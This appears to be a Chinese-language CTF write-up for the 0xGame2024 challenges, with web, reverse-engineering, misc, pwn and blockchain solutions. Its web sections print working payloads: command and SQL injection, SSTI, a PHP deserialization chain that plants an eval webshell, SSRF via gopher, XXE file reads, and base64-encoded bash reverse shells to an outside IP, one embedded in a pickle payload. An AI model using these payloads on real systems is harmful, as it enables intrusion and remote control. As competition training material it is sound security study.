0xGame2024

WEEK1

WEB

ez_rce

访问网址发现给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request
import subprocess

app = Flask(__name__)


@app.route("/")
def index():
return open(__file__).read()


@app.route("/calc", methods=['POST'])
def calculator():
expression = request.form.get('expression') or "114 1000 * 514 + p"
result = subprocess.run(["dc", "-e", expression], capture_output=True, text=True)
return result.stdout


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)

直接谷歌搜索subprocess.run rce ctf,搜到了相似的知识点

image-20241006181638141

https://ctftime.org/writeup/37413

点进去查看后发现dc命令中!后的命令可以当系统命令执行,直接构造exp

1
!env

image-20241006181750951

得到flag=0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}

这个flag有点有趣,问我知不知道gtfobins,我还真没听说过,就去谷歌搜索了一下

得到网址:https://gtfobins.github.io/

发现里面都是二进制文件的rce命令,包括这题的dc命令也有,真的是大开眼界

image-20241006182017249

ez_sql

题目提示是sqlite,直接用union联合注入

先看表名

1
id=0 union select 1,2,3,4,sql from sqlite_master

image-20241006220659348

然后直接看flag字段

1
?id=0 union select 1,2,3,4,flag from flag

image-20241006220625740

ez_ssti

常规的ssti但是又不常规,这题的ssti貌似有些文件不能直接cat,无奈之下只好用open

1
{{lipsum.__globals__.__builtins__['open']('/proc/self/environ').read()}}

因为通过源代码可以知道这个flag本来在env的环境变量中但是在运行py文件的时候被删除了,所以只能在虚拟目录下访问当前京城的环境变量才能获取flag

image-20241007114057937

ez_login

用户名admin,密码admin123直接登录得到flag

ez_unser

大致的逻辑就是先构造pop链往.log文件中写php一句话木马,然后将得到的.log文件经过pop链改名

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class Man{
private $name="原神,启动";
function __construct()
{
$this->name=new What();
}
public function __wakeup()
{
echo str_split($this->name);
}
}
class What{
private $Kun="两年半";
function __construct()
{
$this->Kun=new Can();
}
public function __toString()
{

echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby="唱跳rap篮球";
function __construct()
{
$this->Hobby=new I();
}
public function __get($name)
{
var_dump($this->Hobby);
}
}
class I{
private $name="Kobe";
function __construct()
{
$this->name=new Say();
}
public function __debugInfo()
{
$this->name->say();
}

}
class Say{
private $evil;
function __construct()
{
$this->evil=new Mamba();
}
public function __call($name, $arguments)
{
$this->evil->Evil();
}
}
class Mamba{
public function Evil()
{
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;

}
}
class Out{
public function __call($name,$arguments)
{
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
$man=new Man();
$man1=serialize($man);
echo urlencode($man1);
1
2
写马的payload
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D&content=<?php eval($_POST['cmd']);?>

得到.log文件名

image-20241007180011919

将log文件名改成php的payload

1
data=O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Out%22%3A0%3A%7B%7D%7D%7D%7D%7D&o=1728295173.log&n=a.php

访问木马,执行命令查看flag

image-20241007180620812

hello_http

image-20241007185717583

先用指定的浏览器访问

image-20241007185750110

这边我偷懒不抓包了,直接用hackbar,下一步是get传参

image-20241007185836409

下一步是用post传参

image-20241007185913699

下一步是添加cookie

image-20241007185954937

下一步是修改Referer

image-20241007190127975

下一步是xxf伪造

image-20241007190156711

得到了flag

hello_web

之家ctrl+u查看网页源代码得到第一段flag和下一个路由提示

image-20241007190413176

查看下一个路由

image-20241007190505657

查看响应包,因为前面是中文所以解码不正确,后面直接是flag的后半段

两段flag拼接起来得到完整的flag

0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}

Blockchain

肘,上链!

image-20241007190708831

先去nc创建账户

image-20241007190817854

1
2
[+] deployer account: 0x2A6B278fd606f811Ed6143d949cEE0fE67c3Ce9F
[+] token: v4.local.RYcxRDvXyBLVu5hcqaIUmhbVf5ENA9MTYRVFqjUOsXJBPwzfj2fV-PBl_4AzNnvAlVVB_FuqSPOh7GGeOuuhCPewGTL03fQXEtWZfz5zOQDhEW_wQdJTp53XCfpcKduwIZjxZQUsQXo_cFHz4bPE74HuRfH6rBVhhXkef4CI_r-sMw.U2lnbmlu

提示我们先要去账户充钱,那么我们就先打开题目给的faucet地址,输入账户

image-20241007191328535

成功之后再去nc那边查看交易的地址

image-20241007191427924

1
2
[+] contract address: 0xb788F690223976B47615B7FF4F70cb442cbeCD2E
[+] transaction hash: 0xb0821e8b45d8d52e179988495f3a4ba5e6fc81d467078e675a22573342251c2b

和交易的源码

image-20241007191501186

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.8.0;

contract Signin {
bytes32 signin;

constructor () {}

function sign(bytes32 _signin) public {
signin = _signin;
}

function isSolved() public view returns (bool) {
string memory expected = "Hello0xBlockchain";
return keccak256(abi.encodePacked(expected)) == signin;
}
}

接下来先去小狐狸钱包(MetaMask)添加测试网络

image-20241007191846703

网络名称随便填,rpc填题目给的rpc,链id填错它会告诉你正确的,货币符号随便填,点击保存

image-20241007192012062

将账户号复制去之前的faucet地址充钱得到1单位电子货币,然后打开solidity在线编辑网站

https://remix.ethereum.org/

image-20241007192239396

将之前的源码粘贴到里面并且编译一下

image-20241007192544203

点击交易的地方,选择小狐狸钱包自动绑定账户

image-20241007192819461

输入交易的地址点击At Address

1
keccak256(abi.encodePacked(expected))

这个代码运行的结果是0x83c9a53a09792c2f7d6d0b19bede7af634e365c92cb3874761e2f0ac2f31bd6a,所以我们只要给sigin赋值这个结果就可以

image-20241007193506625

返回true交易成功,现在就去获取flag

image-20241007193557651

成功拿到flag

MISC

0xGame2048

image-20241007195133921

直接base2048在线解密

一明一暗

一眼压缩包明文攻击,直接把给你的图片压缩成zip,然后去明文攻击

image-20241007202604580

查看压缩算法,用bandizip将jpg按相同算法压缩

image-20241007202656567

然后直接明文攻击解密

image-20241007202846730

查看hint,发现是盲水印

image-20241007202926544

大概率就是java盲水印了

image-20241007203200744

得到flag

image-20241007203222371

0xGame{N0w_st4rt_uR_j0urn3y!!}

关注 DK 盾谢谢喵

按要求来直接得到flag,然后取关,嘿嘿嘿

0xGame{W31c0m3_70_0x64m3_2024_5p0n50r3d_8y_dkdun}

加密的压缩包?

打开得到密码提示

image-20241007203610906

但是加密位被改了,得改回来,改成加密的样子

image-20241007204156441

然后成功解压缩得到flag

0xGame{M@ybe_y0u_ar2_t4e_mAsTer_0f_Z1p}

我的世界基岩版(?

辣鸡题目,直接不做,没硬核知识点,但是还是做了

思路是坐矿车上去向下看

0xGame{MC_SErver_4_CTFers}

RE

BabyBase

养成好习惯先查壳发现没壳

image-20241007204554759

直接ida64启动,shift+f12查看字符串

image-20241007204703678

盲猜base64,直接去大厨解密

image-20241007204744505

BinaryMaster

继续保持好习惯

image-20241007204854946

直接ida启动!!!

image-20241007204949011

直接找到flag

SignSign

好习惯不能忘

image-20241007205117677

ida接着启动!!!

image-20241007205215428

shift+f12找到两段flag拼接起来就行

0xGame{S1gn1n_h3r3_4nd_b3g1n_Reversing_n0w}

Xor-Beginning

好习惯

image-20241007205348280

接着启动ida

image-20241007205751233

主要就是

1
2
3
4
5
while ( v4[v7] )
{
v4[v7] ^= 78 - (_BYTE)v7;
++v7;
}

大致逻辑就是密文的每一位去异或78-密文所在那一位就行,主要就是查看密文,直接下上面图片的断点然后调试

得到密文

1
2
3
4
5
{
0x7E, 0x35, 0x0B, 0x2A, 0x27, 0x2C, 0x33, 0x1F, 0x76, 0x37,
0x1B, 0x72, 0x31, 0x1E, 0x36, 0x0C, 0x4C, 0x44, 0x63, 0x72,
0x57, 0x49, 0x08, 0x45, 0x42, 0x01, 0x5A, 0x04, 0x13, 0x4C
};

然后就直接写脚本逆向

1
2
3
4
5
6
7
8
9
flag=""
cipher=[
0x7E, 0x35, 0x0B, 0x2A, 0x27, 0x2C, 0x33, 0x1F, 0x76, 0x37,
0x1B, 0x72, 0x31, 0x1E, 0x36, 0x0C, 0x4C, 0x44, 0x63, 0x72,
0x57, 0x49, 0x08, 0x45, 0x42, 0x01, 0x5A, 0x04, 0x13, 0x4C
]
for i in range(30):
flag+=chr(cipher[i]^(78-i))
print(flag)

image-20241007210209531

得到了flag

Xor-Endian

010查看是ELF

image-20241008163623498

ida启动!!

加密函数

1
2
3
4
5
6
7
8
__int64 __fastcall encrypt(__int64 a1, __int64 a2, int a3, int a4)
{
int i; // [rsp+24h] [rbp-4h]

for ( i = 0; i < a3; ++i )
*(_BYTE *)(i + a1) ^= *(_BYTE *)(i % a4 + a2);
return 0LL;
}

其中key=Key0xGame2024,思路是循环异或

image-20241008164519879

先动调得到密文

1
2
3
4
5
6
7
8
unsigned char ida_chars[] =
{
0x7B, 0x1D, 0x3E, 0x51, 0x15, 0x22, 0x1A, 0x0F, 0x56, 0x0A,
0x51, 0x56, 0x00, 0x28, 0x5D, 0x54, 0x07, 0x4B, 0x74, 0x05,
0x40, 0x51, 0x54, 0x08, 0x54, 0x19, 0x72, 0x56, 0x1D, 0x04,
0x55, 0x76, 0x56, 0x0B, 0x54, 0x57, 0x07, 0x0B, 0x55, 0x73,
0x01, 0x4F, 0x08, 0x05
};

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
cipher=[
0x7B, 0x1D, 0x3E, 0x51, 0x15, 0x22, 0x1A, 0x0F, 0x56, 0x0A,
0x51, 0x56, 0x00, 0x28, 0x5D, 0x54, 0x07, 0x4B, 0x74, 0x05,
0x40, 0x51, 0x54, 0x08, 0x54, 0x19, 0x72, 0x56, 0x1D, 0x04,
0x55, 0x76, 0x56, 0x0B, 0x54, 0x57, 0x07, 0x0B, 0x55, 0x73,
0x01, 0x4F, 0x08, 0x05
]
flag=""
key="Key0xGame2024"
for i in range(len(cipher)):
flag += chr(cipher[i]^ord(key[i%len(key)]))

print(flag)

image-20241008164833871

PWN

test your pwntools

直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = remote("47.97.58.52",40010)
# print(p.recvuntil(b'='))
for i in range(0,100):
ques=p.recvuntil(b' =')
print(bytes.decode(ques))
express=re.search(r'=(\d.*?)=',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
express = express.replace('\n', '') # 将 ÷ 替换为 /
print(express)
value=int(eval(express))
print(value)
p.sendline(str(value).encode())
print("第",i)
p.recvuntil(b'shell!')
p.sendline("cat /flag".encode())
p.interactive()

WEEK2

MISC

呜呜呜~我再也不敢乱点了

先用wireshark打开流量包,发现了tls加密,导入它的log文件

image-20241013110030782

解密之后导出对象,选择zip文件,解压后看到一个clean_file_rubbish.ps1,打开来发现c2语句

image-20241013110213735

去base解一下第一个变量的字符串得到

image-20241013110238272

把ip md5一下上交就行

我叫曼波

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import base64
from pwn import *
p = remote("47.98.178.117",1111)
def manbo_decode(cipher):
manbo_dict = {"曼波":"0","哦耶":"1","哇嗷":"2"}
manbo_text = ""
for i in range(0,len(cipher),2):
manbo_text += manbo_dict[cipher[i:i+2]]
return manbo_text

def base3_decode(s):
base3_plain = ""
base3_cipher=[]
for i in range(0,len(s),5):
base3_cipher.append(s[i:i+5])
for i in range(len(base3_cipher)):
cipher=base3_cipher[i]
plain=0
for i in range(len(cipher)):
plain += int(cipher[i])*3**(4-i)
base3_plain += chr(plain)
return base3_plain
def RC4_decrypt(cipher, K):
# 对密文进行 Base64 解码
cipher = base64.b64decode(cipher).decode()

# 初始化 S 和 T
S = [0] * 256
T = [0] * 256
for i in range(256):
S[i] = i
T[i] = K[i % len(K)]

# 使用密钥 K 打乱 S 数组
j = 0
for i in range(256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

# 生成密钥流并解密密文
i = 0
j = 0
plain = []
for c in cipher:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
plain.append(chr(ord(c) ^ k))

return "".join(plain)
ques=p.recvuntil(b'>')
flag=""
while(1):
try:
p.sendline(b'1')
ques=p.recvuntil(b'>')
p.sendline(b'2')
ques=p.recvuntil(b'>')
key=re.search(r'(\d.*?)P',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
p.sendline(b'3')
ques=p.recvuntil(b'>')
cipher=re.search(r'(.*?)P',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
a=manbo_decode(cipher)
b=base3_decode(a)
c=RC4_decrypt(b,key)
flag += c
print(flag)
except:
exit(0)

报告哈基米

010查看附件结尾

image-20241013134446328

提示猫变换但是没解密参数

image-20241013134515588

lsb得到解密参数,用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image

img = Image.open("flag.png")
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1] #确保宽高相等,错误则抛出
dim = width, height = img.size

st = 1 #变换周期
a = 35
b = 7
#a,b是参数

for _ in range(st):
with Image.new(img.mode, dim) as canvas:
for nx in range(img.size[0]):
for ny in range(img.size[0]):
y = (ny - nx * a) % width
x = (nx - y * b) % height
canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save("flag1.png")
# canvas.save('flag.png')

得到第一部分flag

image-20241013134606545

随后发现可疑报错

image-20241013125124379

看到报错输出发现可能有zip,那就先去提取一下

1
2
3
with open("flag.png","rb") as f1:
with open("flag.zip","wb") as f2:
f2.write(f1.read()[::-1])

保存

image-20241013131010604

这串字符逆序一下

image-20241013131032920

提示你是Tupper画图,网上找到exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from typing import Literal

def tupper_self_referential_formula(k: int, width: int = 17, height: int = 106):
"""
Tupper self referential formula函数

Parameters:
k - 用于迭代图像的k值
width - 图像的宽
height - 图像的高

Returns:
类型是numpy.ndarray矩阵,里面只有0和1
"""
import numpy as np
rst = np.zeros((width, height))
def f(x: int, y: int) -> int:
y += k
a1 = 2 ** (width * x + y % width)
a2 = (y // width) // a1
return 1 if (a2 & 1) == 1 else 0

for y in range(width):
for x in range(height):
rst[y, x] = f(x, y)

return rst[:, ::-1]

def tupper_to_str(k: int, width: int = 17, height: int = 106, show_black: str = "■", show_white: str = "□") -> str:
"""
生成Tupper self referential formula函数的字符画

Parameters:
k - 用于迭代图像的k值
width - 图像的宽
height - 图像的高
show_black - 字符画中的黑色方块
show_white - 字符画中的白色方块

Returns:
字符画字符串
"""
mat = tupper_self_referential_formula(k, width, height)
rst = ''
for y in range(width):
for x in range(height):
if mat[y, x] == 1:
rst += show_black
else:
rst += show_white
rst += '\n'
return rst

def tupper_to_img(k: int, width: int = 17, height: int = 106, filename: str = 'tupper.png', origin: Literal['upper', 'lower'] = 'upper'):
"""
生成Tupper self referential formula函数的字符画

Parameters:
k - 用于迭代图像的k值
width - 图像的宽
height - 图像的高
filename - 输出图像的文件名
origin - 输出图像的方式(upper或者lower)

Returns:
类型是numpy.ndarray矩阵,里面只有0和1
"""
import matplotlib.pyplot as plt
rst = tupper_self_referential_formula(k, width, height)
plt.figure(figsize=(15, 10))
plt.imshow(rst, origin=origin)
plt.savefig(filename)

return rst


k = 9489414856877039590479997730148554425666925984049232945604842888420596111937489062065081199094002132087091572191187170308560128611026043144427876131133135794969867759108490917632153891963456295991713868378392769549376070709924497237322046334486274987407067993824142187115870972520417207510521083293280152434558803258138899515603807505064799735152359900010019631133734298562293682916239050320580346316026460860919542540955914826806059123630945216006606268974979135253968165822806241305783300650874506602000048154282039485531804337171305656252
rst = tupper_to_str(k, 17, 106)
print(rst)
tupper_to_img(k, 17, 106)

画出图片

image-20241013131116897

得到后面的flag,拼接最后的flag

0xGame{hajimi_i5_Cute_r1ght?}

WEB

baby_ssrf

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket

app = Flask(__name__)
BlackList=[
"127.0.0.1"
]

@app.route('/')
def index():
return open(__file__).read()


@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()


@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout


if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)

可以看到是一题ssrf的题目,借此机会去完善一下自己的知识库

这边要进行一个127.0.0.1的IP绕过,并且请求要是POST,所以要用到gopher伪协议,直接放exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.parse

host = "0.0.0.0:8000"
content = "cmd=env"
content_length = len(content)

test ="""POST /cmd HTTP/1.1
Host: {}
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

生成的exp

1
gopher://0.0.0.0:8000/_POST%2520/cmd%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

直接去打

image-20241026131642800

得到了flag

baby_xxe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)

构造xxe

1
<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///flag">]><foo><name>&xxe;</name>&xxe;</foo>

这边需要注意的是,构造的时候不能加encode,不然python会解析错误,用post传参的时候需要进行一次url编码

1
%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ELEMENT%20foo%20ANY%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%5D%3E%3Cfoo%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%26xxe%3B%3C%2Ffoo%3E

image-20241026141920390

hello_shell

先进行rce,因为无回显所以反弹shell

1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMjIxLjE2Mi4xODEvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}'

编码后上传

1
bash%24%7BIFS%7D-c%24%7BIFS%7D'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIxLjE2Mi4xODEvNzc3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'

反弹shell后就直接suid提权,用wc可执行文件查看/flag

image-20241026181017106

hello_include

有点抽象

首先搜给用户看的php文件

image-20241026182041829

去访问这个phps

image-20241026182106452

可以看到有文件包含漏洞,先去看phpinfo.php

image-20241026182146214

得到flag路径

过滤了php伪协议那就直接用file伪协议

image-20241026182340715

baby_pickle

考察手搓pickle的反序列化代码

1
2
3
4
5
6
7
8
9
10
import base64
import pickle
exp='''cbuiltins
eval
(S'__import__("pty").spawn(["bash","-c","{echo,YmFzaCAtaSA+JaAvZGV2L3RjcC8xMjQuMjIxLjE2Mi4xODEvNzc3IDA+JjE=}|{base64,-d}|{bash,-i}"])'
tR.
'''
exp1=exp.encode()
print(exp1)
print(base64.b64encode(exp1))

得到加密结果再去执行就能反弹shell

RE

BabyUPX

养成好习惯

image-20241013182907380

去脱壳

image-20241013182955033

ida启动!!

image-20241013183132536

找到encode函数和encdata

image-20241013183235948

大概意思就是将高低位交换,那就直接写exp

1
2
3
4
5
6
7
8
9
10
cipher=[0x03, 0x87, 0x74, 0x16, 0xD6, 0x56, 0xB7, 0x63, 0x83, 0x46, 
0x66, 0x66, 0x43, 0x53, 0x83, 0xD2, 0x23, 0x93, 0x56, 0x53,
0xD2, 0x43, 0x36, 0x36, 0x03, 0xD2, 0x16, 0x93, 0x36, 0x26,
0xD2, 0x93, 0x73, 0x13, 0x66, 0x56, 0x36, 0x33, 0x33, 0x83,
0x56, 0x23, 0x66, 0xD7]
flag=""
for i in range(len(cipher)):
flag += chr(((16 * cipher[i]) | (cipher[i] >> 4))&0x00ff)

print(flag)

FirstSight-Jar

java反编译,直接用jadx

image-20241013192859066

反编译得到加密函数和密文,直接去写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Alphabat = "0123456789abcdef"
cipher="ab50e920-4a97-70d1-b646-cdac5c873376"
flag=""
for i in range(len(cipher)):
if cipher[i] in Alphabat:
for index in range(16):
if cipher[i]==Alphabat[((index * 5) + 3) % 16]:
flag += Alphabat[index]
break
else:
flag += cipher[i]
flag = "0xGame{" + flag +"}"
print(flag)
#0xGame{b8a9fe39-dbe4-4926-87d7-52b5a5140047}

FisrtSight-Pyc

直接pyc反编译

image-20241013194628866

然后运行输入神秘代码

image-20241013194648643

Xor::Ramdom

好习惯

image-20241013194810347

打开ida

image-20241013201036523

伪随机

image-20241013201047138

加密流程

exp

1
2
3
4
5
6
7
8
9
10
cipher=[ 0x0C, 0x4F, 0x10, 0x1F, 0x4E, 0x16, 0x21, 0x12, 0x4B, 0x24, 
0x10, 0x4B, 0x0A, 0x24, 0x1F, 0x17, 0x09, 0x4F, 0x07, 0x08,
0x21, 0x5C, 0x2C, 0x1A, 0x10, 0x1F, 0x11, 0x16, 0x59, 0x5A]
str=""
for i in range(len(cipher)):
if i % 2==0:
str += chr(cipher[i]^0x7e)
else:
str += chr(cipher[i]^0x7b)
print("0xGame{"+str+"}")

ZzZ

好习惯

image-20241013201203473

image-20241013204849032

发现z3求解

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from z3 import *
from libnum import *
import gmpy2
# 创建 Z3 变量
v11 = BitVec('v11', 64)
v12 = BitVec('v12', 64)
v10 = BitVec('v10', 64)

# 定义表达式
expr = 11 * v11 + 14 * v10 - v12
exper1 = 9 * v10 - 3 * v11 + 4 * v12
exper2 = ((v12 - v11) >> 1) + (v10 ^ BitVecVal(0x87654321, 64))


target = BitVecVal(0x48FB41DDD, 64)
target1 = BitVecVal(0x2BA692AD7, 64)
target2 = BitVecVal(0xCDBDFAAC, 64)

# 创建求解器
solver = Solver()
# 添加约束(等式)
solver.add(expr == target,
exper1 == target1,
exper2 == target2,
)
# 检查是否有解
flag = ""
if solver.check() == sat:
model = solver.model()
v11_val = int(model[v11].as_long())
v12_val = int(model[v12].as_long())
v10_val = int(model[v10].as_long())
print(f'v11 = {v11_val}')
print(f'v12 = {v12_val}')
print(f'v13 = {v10_val}')
flag += "0xGame{e544267d"+"-"+n2s(v10_val).decode()[::-1]+"-"+n2s(v11_val).decode()[::-1]+"-"+n2s(v12_val).decode()[::-1]+"-"+"d085a85201a4}"


else:
print("No solution found.")

print(flag)
#9c0525dcbadf4cbd9715067159453e74

WEEK3

MISC

重生之我在南邮当CTF大王

游戏中找flag,直接打开游戏文件夹下的data文件夹

image-20241023165526096

所以flag1:0xGame{NJUPT_

image-20241023165649381

flag2:Has_

image-20241023165713316

flag3:VerY_v3Ry_V3ry_

然后一直找不到flag4,直到…..

image-20241023165807895

大胆猜测兽语加密,把一行的兽语都连接起来得到

呜嗷嗷嗷嗷呜呜~~嗷呜嗷呜呜嗷啊嗷啊呜嗷嗷啊嗷呜呜嗷嗷嗷嗷嗷呜呜~~嗷呜嗷呜呜啊呜啊啊嗷啊呜啊嗷呜呜呜嗷啊嗷嗷嗷呜啊嗷嗷啊呜嗷呜呜啊啊啊啊嗷啊呜嗷呜啊嗷啊

在线解密得到

image-20241023165956972

YummY_FooD}

最后全部拼接0xGame{NJUPT_Has_VerY_v3Ry_V3ry_YummY_FooD}

RE

BabyASM

简单来说就是前22个数据加28,后21个数据与前22个数据依此异或

exp

1
2
3
4
5
6
7
8
9
10
11
cipher=[20,92,43,69,81,73,95,23,72,22,24,69,25,27,22,17,23,29,24,73,17,24,85,27,112,76,15,92,24,1,73,84,13,81,12,0,84,73,82,8,82,81,76,125]
flag=""
for i in range(0,22):
cipher[i] = cipher[i] + 28
flag += chr(cipher[i])

for i in range(22,len(cipher)-1):
cipher[i] = cipher[i] ^ cipher[i-22]
flag += chr(cipher[i])
flag += chr(cipher[43])
print(flag)

LittlePuzzle

直接问gpt,发现是在做数独游戏,flag是输入每6位一组转成16进制

在线数独解密

image-20241020140224398

exp

1
2
3
4
5
6
from libnum import *
import numpy
cipher=[316224,671996,854156,384156,296824,939587,681579,343618]
for i in range(0,8):
print(str(hex(cipher[i])).replace('0x',''),end='')
#0xGame{4d340a40fcd088c5dc9c48778e5643a666b53e42}

Tea

好习惯就不说了,这边就是tea魔改,只加密开头的8位和最后的8位

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//cipher=[0x85336dd3,0x2a7a7c3b,0x64306238,0x36396434,0x62336364,0x38376533,0x37323664,0x33363463,0xf8ee8ea2,c9b65cce]
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>





void decrypt(uint32_t* v, uint32_t* k)
{
uint32_t delta = -1640531527;
uint32_t v0 = v[0], v1 = v[1], sum = (delta * 32) & 0xffffffff, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3) ;
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1) ;
sum -= delta;
}
v[0] = v0; v[1] = v1;
}


int main()
{
uint32_t array[] = {0x85336dd3,0x2a7a7c3b,0xf8ee8ea2,0xc9b65cce};
uint32_t key[4] = {0x00000002, 0x00000000, 0x00000002, 0x00000004};
for (int i = 0; i < 10; i += 2)
{
uint32_t temp[2];
temp[0] = array[i];
temp[1] = array[i + 1];
decrypt(temp, key);
// printf("%x,%x,",temp[0],temp[1]);
printf("%c%c%c%c%c%c%c%c", *((char*)&temp[0] + 0), *((char*)&temp[0] + 1), *((char*)&temp[0] + 2), *((char*)&temp[0] + 3), *((char*)&temp[1] + 0), *((char*)&temp[1] + 1), *((char*)&temp[1] + 2), *((char*)&temp[1] + 3));
//更新data
//0xGame{e8b0d4d96dc3b3e78d627c463c9953a1}
}
return 0;
}

中间的24位直接提取密文转字符就行

image-20241020140117965

WEEK4

MISC

Encrypted file

打开流量包,直接追踪tcp

image-20241027114242978

发现一开始在目录爆破,接着看

image-20241027114456836

在第134流上传了shell

image-20241027114901401

在135流看到了加密数据,用切面134流的解密脚本去跑

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
